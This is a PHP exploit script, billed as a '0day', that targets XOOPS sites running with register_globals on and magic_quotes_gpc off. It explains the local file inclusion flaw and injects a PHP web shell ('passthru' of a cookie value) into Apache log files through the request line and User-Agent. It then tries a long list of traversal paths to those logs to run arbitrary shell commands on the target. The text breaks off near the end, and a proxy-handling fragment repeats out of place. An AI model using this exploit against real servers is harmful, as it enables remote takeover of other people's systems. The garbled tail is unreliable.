echo "by rgod rgod@autistici.org\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; /* works with: magic_quotes_gpc = Off register_globals = On */ if ($argc<4) { echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to xoops\r\n"; echo "cmd: a shell command\r\n"; echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." localhost /xoops/ \r\n"; echo "php ".$argv[0]." localhost /xoops/ ls -la -p81\r\n"; echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n"; die; } /* hi, back from my annual social engineering tour, this year in Milan ;) welcome to this new 0day experience explaination: vulnerable code in mainfile.php at lines 94-96: if (!isset($xoopsOption['nocommon']) && XOOPS_ROOT_PATH != '') { include XOOPS_ROOT_PATH."/include/common.php"; } if register_globals = On you can overwrite $xoopsOption['nocommon'] var, to skip common.php inclusion where $xoopsConfig['language'] and $xoopsConfig['theme_set] are initialized, so, if magic_quotes_gpc=Off you can include arbitrary files from local resources, ex., Apache log files: http://[target]/[path]/misc.php?cmd=ls%20- la&xoopsOption[nocommon]=1&xoopsConfig[language]= / / / / / / / / / /var/l og/httpd/access_log%00 http://[target]/[path]/index.php?cmd=ls%20- la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]= / / / / / / / / / /var /log/httpd/error_log%00 or, if avatar uploads are enabled: http://[target]/xoops/html/index.php?cmd=ls%20- la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]= /uploads/cavt44703c3 0d3dbf.jpg%00 this tool inject some php code in apache log files and try to launch commands */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy ';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy \r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy ';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $cmd="";$port=80;$proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "[1] Injecting some code in log files \r\n\r\n"; $CODE="*delim*<?php error_reporting(0);set_time_limit(0);passthru(\$_COOKIE[cmd]);die;?>"; $packet="GET ".$p.$CODE." HTTP/1.0\r\n"; $packet.="User-Agent: ".$CODE." Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: close\r\n\r\n"; sendpacketii($packet); sleep(1); //fill with possible locations $paths=array( " / / / / / / / / / /var/log/httpd/access_log", " / / / / / / / / / /var/log/httpd/error_log", " /apache/logs/error.log", " /apache/logs/access.log", " / /apache/logs/error.log", " / /apache/logs/access.log", " / / /apache/logs/error.log", " / / /apache/logs/access.log", " / / / /apache/logs/error.log", " / / / /apache/logs/access.log", " / / / / /apache/logs/error.log", " / / / / /apache/logs/access.log", " / / / / / /apache/logs/error.log", " / / / / / /apache/logs/access.log", " /logs/error.log", " /logs/access.log", " / /logs/error.log", " / /logs/access.log", " / / /logs/error.log", " / / /logs/access.log", " / / / /logs/error.log", " / / / /logs/access.log", " / / / / /logs/error.log", " / / / / /logs/access.log", " / / / / / /logs/error.log", " / / / / / /logs/access.log", " / / / / / / / / / /etc/httpd/logs/acces_log", " / / / / / / / / / /etc/httpd/logs/acces.log", " / / / / / / / / / /etc/httpd/logs/error_log", " / / / / / / / / / /etc/httpd/logs/error.log", " / / / / / / / / / /var/www/logs/access_log", " / / / / / / / / / /var/www/logs/access.log", " / / / / / / / / / /usr/local/apache/logs/access_log", " / / / / / / / / / /usr/local/apache/logs/access.log", " / / / / / / / / / /var/log/apache/access_log", " / / / / / / / / / /var/log/apache/access.log", " / / / / / / / / / /var/log/access_log", " / / / / / / / / / /var/www/logs/error_log", " / / / / / / / / / /var/www/logs/error.log", " / / / / / / / / / /usr/local/apache/logs/error_log", " / / / / / / / / / /usr/local/apache/logs/error.log", " / / / / / / / / / /var/log/apache/error_log", " / / / / / / / / / /var/log/apache/error.log", . ';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy "; $ock=fsockopen($parts[0],$parts[1]); if (!$ock)